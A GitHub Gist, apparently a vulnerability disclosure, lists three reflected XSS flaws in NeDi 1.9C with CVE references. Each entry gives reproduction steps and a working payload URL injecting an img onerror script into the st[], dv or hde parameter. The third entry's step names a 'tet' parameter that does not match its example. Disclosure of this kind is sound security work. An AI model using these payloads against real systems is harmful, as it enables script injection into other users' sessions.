Instantly share code, notes, and snippets.

sudoninja-noob / **NeDi 1.9C Multiple XSS**

Last active 2 years ago

☆ Star

<> Code   ⚬ Revisions 3

⟨⟩ **NeDi 1.9C Multiple XSS**

```
 1   Description:-
 2   NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
 3   The application allows an attacker to execute arbitrary JavaScript code via the "Reports-Devices.php" page on "st[]" parameter.
 4
 5   Steps To Reproduce:-
 6   1. Login to the Application.
 7   2. Go to "https://ip/Reports-Devices.php" page.
 8   3. Add st[] parameter at the end of the URL.
 9      Example:- https://ip/Reports-Devices.php?in[]=device&op[]=~&st[]="><img src=x onerror=alert(document.domain)>&lir=10
10
11   Reference: CVE-2020-15037
12
13
14   Description:-
15   NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
16   The application allows an attacker to execute arbitrary JavaScript code via the "Topology-Linked.php" page on "dv" parameter.
17
18   Steps To Reproduce:-
19   1. Login to the Application.
20   2. Go to "https://ip/Topology-Linked.php" page.
21   3. Add dv parameter at the end of the URL.
22      Example:- https://ip/Topology-Linked.php?dv=<img src=x onerror=alert(document.domain)>
23
24   Reference: CVE-2020-15036
25
26
27   Description:-
28   NeDi 1.9C is vulnerable to a cross-site scripting (XSS) attack.
29   The application allows an attacker to execute arbitrary JavaScript code via the "Monitoring-Map.php" page on "hde" parameter.
30
31   Steps To Reproduce:-
32   1. Login to the Application.
33   2. Go to "https://ip/Monitoring-Map.php" page.
34   3. Add tet parameter at the end of the URL.
35      Example:- https://ip/Monitoring-Map.php?hde="><img src=x onerror=alert(document.domain)>
36
37   Reference: CVE-2020-15035
```